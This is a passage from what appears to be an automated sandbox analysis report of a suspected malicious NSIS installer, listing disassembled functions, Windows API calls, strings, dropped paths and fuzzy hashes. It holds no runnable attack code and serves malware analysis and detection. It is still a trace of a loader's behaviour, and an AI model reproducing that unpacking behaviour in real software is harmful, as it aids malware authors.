Instruction Fuzzy Hash: DF510671A00208AFCB50DFE4C989E9D7BB6FF48314F2041AAF515EB2D1DA799981CB54

Function 0040646B Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(75A53410,0042C0E0,0042BC98,00405BC0,0042BC98,0042BC98,00000000,0042BC98,0042BC98,75A53410,?,C:\Users\user\AppData\Local\Temp\,004058DF,?,75A53410,C:\Users\user\AppData\Local\Temp\), ref: 00406476
FindClose.KERNELBASE(00000000), ref: 00406482

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 834111d6c5cf34f6f1a5acdd2360b111687db49f4aa82fd60f9155d80f0d726b
Instruction ID: 43645372537bfa69987f3f85d1e9d0a1072f39b89fcefe97c81bac3be47e5bfd
Opcode Fuzzy Hash: 834111d6c5cf34f6f1a5acdd2360b111687db49f4aa82fd60f9155d80f0d726b
Instruction Fuzzy Hash: 9AD01231514120DFC3502B786D4C84F7A589F05330321CB36F86AF22E0C7348C2296EC

Function 004027A1 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 004027B0

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: a5b213f8be24180874f9adf411d6afc31dfa0cb9f64df1b0b64d1ebf68b7fd5b
Instruction ID: cbd12963852304709d998dbd60bf7e8f33587a64a337c4fd13578998f516bfb3
Opcode Fuzzy Hash: a5b213f8be24180874f9adf411d6afc31dfa0cb9f64df1b0b64d1ebf68b7fd5b
Instruction Fuzzy Hash: 3EF0A072604110DED711EBA49A49AFEB768AF61314F60457FF112B20C1D7B889469B3A

Function 0040390A Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406500: GetModuleHandleA.KERNEL32(?,?,?,004033BB,0000000B), ref: 00406512
Part of subcall function 00406500: GetProcAddress.KERNEL32(00000000,?), ref: 0040652D

lstrcatA.KERNEL32(1033,0042A890,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A890,00000000,00000002,75A53410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\fbXZ4ErQMU.exe",00000000), ref: 00403985
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\tranchet,1033,0042A890,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A890,00000000,00000002,75A53410), ref: 004039FA
lstrcmpiA.KERNEL32(?,.exe), ref: 00403A0D
GetFileAttributesA.KERNEL32(Call), ref: 00403A18
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\tranchet), ref: 00403A61

Part of subcall function 00406055: wsprintfA.USER32 ref: 00406062

RegisterClassA.USER32(0042EBC0), ref: 00403A9E
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403AB6
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AEB
ShowWindow.USER32(00000005,00000000), ref: 00403B21
GetClassInfoA.USER32(00000000,RichEdit20A,0042EBC0), ref: 00403B4D
GetClassInfoA.USER32(00000000,RichEdit,0042EBC0), ref: 00403B5A
RegisterClassA.USER32(0042EBC0), ref: 00403B63
DialogBoxParamA.USER32(?,00000000,00403CA7,00000000), ref: 00403B82

Strings

C:\Users\user\tranchet, xrefs: 00403994, 0040399C, 00403A34, 00403A3A, 00403A4A
RichEd20, xrefs: 00403B27
1033, xrefs: 0040392A, 00403980
RichEdit, xrefs: 00403B54
Control Panel\Desktop\ResourceLocale, xrefs: 0040393E
RichEd32, xrefs: 00403B35
.DEFAULT\Control Panel\International, xrefs: 00403970
_Nb, xrefs: 00403A7D, 00403AE5
C:\Users\user\AppData\Local\Temp\, xrefs: 0040390F
RichEdit20A, xrefs: 00403B45, 00403B4B
.exe, xrefs: 00403A07
"C:\Users\user\Desktop\fbXZ4ErQMU.exe", xrefs: 0040390E
Call, xrefs: 004039C8, 004039D0, 004039DD, 00403A27, 00403A2D

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\fbXZ4ErQMU.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\tranchet$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-3938786335
Opcode ID: eddc3fe444e159470dd51134533c2a37fedb4af5c6bfbfbca7f7312343edc14b
Instruction ID: 74cd8b4f7d81cde8c77274d740e3983652abf123a0ec58253698c850822a2f16
Opcode Fuzzy Hash: eddc3fe444e159470dd51134533c2a37fedb4af5c6bfbfbca7f7312343edc14b
Instruction Fuzzy Hash: EC61A5702402016ED220FB669D46F373ABCEB4474DF50403FF995B62E3DA7DA9068A2D

Function 00402EA1 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EB2
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\fbXZ4ErQMU.exe,00000400), ref: 00402ECE

Part of subcall function 00405C90: GetFileAttributesA.KERNELBASE(00000003,00402EE1,C:\Users\user\Desktop\fbXZ4ErQMU.exe,80000000,00000003), ref: 00405C94
Part of subcall function 00405C90: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405CB6

GetFileSize.KERNEL32(00000000,00000000,00437000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\fbXZ4ErQMU.exe,C:\Users\user\Desktop\fbXZ4ErQMU.exe,80000000,00000003), ref: 00402F1A
GlobalAlloc.KERNELBASE(00000040,00000020), ref: 00403050

Strings

C:\Users\user\Desktop\fbXZ4ErQMU.exe, xrefs: 00402EB8, 00402EC7, 00402EDB, 00402EFB
Null, xrefs: 00402F98
Inst, xrefs: 00402F86
@TA, xrefs: 00402F2F
Error launching installer, xrefs: 00402EF1
C:\Users\user\AppData\Local\Temp\, xrefs: 00402EA8
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00403077
"C:\Users\user\Desktop\fbXZ4ErQMU.exe", xrefs: 00402EA1
soft, xrefs: 00402F8F
C:\Users\user\Desktop, xrefs: 00402EFC, 00402F01, 00402F07

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\fbXZ4ErQMU.exe"$@TA$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\fbXZ4ErQMU.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-2421357064
Opcode ID: d2642f5c1e57ff917447350ecc80b65a471f1c26fbd3ec2d1bf2d56bf534e989
Instruction ID: b77d5a27d8a3a8735664692b17331c00252a13d20c8f5ee7c59d5cd6c332e3a5
Opcode Fuzzy Hash: d2642f5c1e57ff917447350ecc80b65a471f1c26fbd3ec2d1bf2d56bf534e989
Instruction Fuzzy Hash: B851E471A00204ABDF20AF64DD85FAF7AB8AB14359F60413BF500B22D1C7B89E858B5D

Function 0040618A Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 004062B5
GetWindowsDirectoryA.KERNEL32(Call,00000400,?,0042A070,00000000,00405256,0042A070,00000000), ref: 004062C8
SHGetSpecialFolderLocation.SHELL32(00405256,75A523A0,?,0042A070,00000000,00405256,0042A070,00000000), ref: 00406304
SHGetPathFromIDListA.SHELL32(75A523A0,Call), ref: 00406312
CoTaskMemFree.OLE32(75A523A0), ref: 0040631E
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406342
lstrlenA.KERNEL32(Call,?,0042A070,00000000,00405256,0042A070,00000000,00000000,00424248,75A523A0), ref: 00406394

Strings

/!s, xrefs: 00406197
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040633C
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406284
Call, xrefs: 004061B4, 00406281, 00406282, 00406283, 0040629F, 004062B4, 004062C7, 004062E3, 0040630E, 00406341, 00406347, 0040635F, 00406372, 0040638D, 00406393, 0040639B, 004063C5

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: /!s$Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-3905095102
Opcode ID: 8246b69a52679e6fada9b088fd1c5cd7587de1068ebf998f283e7bad78f4f284
Instruction ID: 7f70e83a291e570019a42af90a820afb382591873456cc4d5332d159a7ba1b0c
Opcode Fuzzy Hash: 8246b69a52679e6fada9b088fd1c5cd7587de1068ebf998f283e7bad78f4f284
Instruction Fuzzy Hash: 58612470A00110AADF206F65CC90BBE3B75AB55310F52403FE943BA2D1C77C8962DB9E

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\tranchet\Trykmaalere,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\tranchet\Trykmaalere,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 004060F7: lstrcpynA.KERNEL32(?,?,00000400,0040341A,hyaenic Setup,NSIS Error,?,00000007,00000009,0000000B), ref: 00406104

Part of subcall function 0040521E: lstrlenA.KERNEL32(0042A070,00000000,00424248,75A523A0,?,?,?,?,?,?,?,?,?,00403233,00000000,?), ref: 00405257
Part of subcall function 0040521E: lstrlenA.KERNEL32(00403233,0042A070,00000000,00424248,75A523A0,?,?,?,?,?,?,?,?,?,00403233,00000000), ref: 00405267
Part of subcall function 0040521E: lstrcatA.KERNEL32(0042A070,00403233,00403233,0042A070,00000000,00424248,75A523A0), ref: 0040527A
Part of subcall function 0040521E: SetWindowTextA.USER32(0042A070,0042A070), ref: 0040528C
Part of subcall function 0040521E: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052B2
Part of subcall function 0040521E: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004052CC
Part of subcall function 0040521E: SendMessageA.USER32(?,00001013,?,00000000), ref: 004052DA

Strings

C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp, xrefs: 004017A3, 00401812, 00401830
Call, xrefs: 00401775, 0040178B, 0040179D, 004017AE, 004017E4, 004017FA, 00401818, 00401858, 004018D9, 004018E2, 004018EC, 004018F7
C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp\System.dll, xrefs: 00401826, 00401842
C:\Users\user\tranchet\Trykmaalere, xrefs: 00401786

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp$C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp\System.dll$C:\Users\user\tranchet\Trykmaalere$Call
API String ID: 1941528284-414672722
Opcode ID: 90f03a76fcf5146749e92d53d58810ea094b6bbbf58b510143803768f557fb10
Instruction ID: bb6028c3778eb4cec0c6c1d7eb8bf073a5325157b60575559d09146ef789c5eb
Opcode Fuzzy Hash: 90f03a76fcf5146749e92d53d58810ea094b6bbbf58b510143803768f557fb10
Instruction Fuzzy Hash: D4419A32900515BACB107BB5CC45DAF3678EF05329F20833FF426B51E1DA7C8A529A6D

Function 004030D8 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040313F
GetTickCount.KERNEL32 ref: 004031E6
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 0040320F
wsprintfA.USER32 ref: 0040321F

Strings

HBB, xrefs: 004031C3, 004031DE, 00403255
... %d%%, xrefs: 00403219

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$HBB
API String ID: 551687249-372310663
Opcode ID: 6105a75ac29723741842d4acb1fda97f5bbbd1560d169b08801a999ce2df6a86
Instruction ID: fb515496a62f3aa3a261881475cff076317c99cf113f2c02ef85df511ffa7adb
Opcode Fuzzy Hash: 6105a75ac29723741842d4acb1fda97f5bbbd1560d169b08801a999ce2df6a86
Instruction Fuzzy Hash: 68515C71900219ABCB10DF95DA44A9E7BA8EF54356F1481BFE800B72D0C7789A41CBAD

Function 00401E35 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDC.USER32(?), ref: 00401E38
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E52
MulDiv.KERNEL32(00000000,00000000), ref: 00401E5A
ReleaseDC.USER32(?,00000000), ref: 00401E6B
CreateFontIndirectA.GDI32(0040B838), ref: 00401EBA

Strings

Calibri, xrefs: 00401EA0

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: f10f52d3ac84b2d12136eae3b4e18ea67906ed9852a07f942bb56bd2ae0fd4ab
Instruction ID: 5cb61850c30ba341adb392aac0b64178207aa51c0a8ebf491f77c064e1fc76ea
Opcode Fuzzy Hash: f10f52d3ac84b2d12136eae3b4e18ea67906ed9852a07f942bb56bd2ae0fd4ab
Instruction Fuzzy Hash: A9019E72500240AFE7007BB0AE4AB9A3FF8EB55311F10843EF281B61F2CB7904458B6C

Function 004056E4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405727
GetLastError.KERNEL32 ref: 0040573B
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405750
GetLastError.KERNEL32 ref: 0040575A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040570A
C:\Users\user\Desktop, xrefs: 004056E4

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-26219170
Opcode ID: daf6715ee4a9a889a1accaf74548b3993ec7aecc528708590295bf6406307990
Instruction ID: 199f41d5e308de8b96f609cf750b761cce64c3ab1ca85d652f9564a15c89f022
Opcode Fuzzy Hash: daf6715ee4a9a889a1accaf74548b3993ec7aecc528708590295bf6406307990
Instruction Fuzzy Hash: FF010471C00219EADF019BA0C944BEFBBB8EB04354F00403AD944B6290E7B89A48DBA9

Function 00406492 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004064A9
wsprintfA.USER32 ref: 004064E2
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004064F6

Strings

%s%s.dll, xrefs: 004064DC
\, xrefs: 004064BA
UXTHEME, xrefs: 0040649B

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 265ca81b40b881dab18d3809a90e9c8d4eed5c2f9756e13f598d1e00e091b07b
Instruction ID: 03f82d29dddd483449b3488b7c2e1daaa1831c8d2f1a72e13e07ee25955ceb49
Opcode Fuzzy Hash: 265ca81b40b881dab18d3809a90e9c8d4eed5c2f9756e13f598d1e00e091b07b
Instruction Fuzzy Hash: DDF0213051020A6BDB55D764DD0DFFB375CEB08304F14017AA58AF11C1DA78D5398B6D

Function 00405CBF Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405CD3
GetTempFileNameA.KERNELBASE(?,?,00000000,?,?,00000007,00000009,0000000B), ref: 00405CED

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CC2
nsa, xrefs: 00405CCA
"C:\Users\user\Desktop\fbXZ4ErQMU.exe", xrefs: 00405CBF

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\fbXZ4ErQMU.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4143465548
Opcode ID: 3d6f8019ec5f34494dc3b68805de6783e4b5f3688fe49378b00e43b1512e0d50
Instruction ID: e7aa094648ebfea3bacdca9f43850832113df4cf88f6c4d01cd72ac7e01032f8
Opcode Fuzzy Hash: 3d6f8019ec5f34494dc3b68805de6783e4b5f3688fe49378b00e43b1512e0d50
Instruction Fuzzy Hash: 0AF08236308308ABEB108F56ED04B9B7BACDF91750F10C03BFA44EB290D6B499548758

Function 00402CD0 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402D24
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402D70
RegCloseKey.ADVAPI32(?,?,?), ref: 00402D79
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402D90
RegCloseKey.ADVAPI32(?,?,?), ref: 00402D9B

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
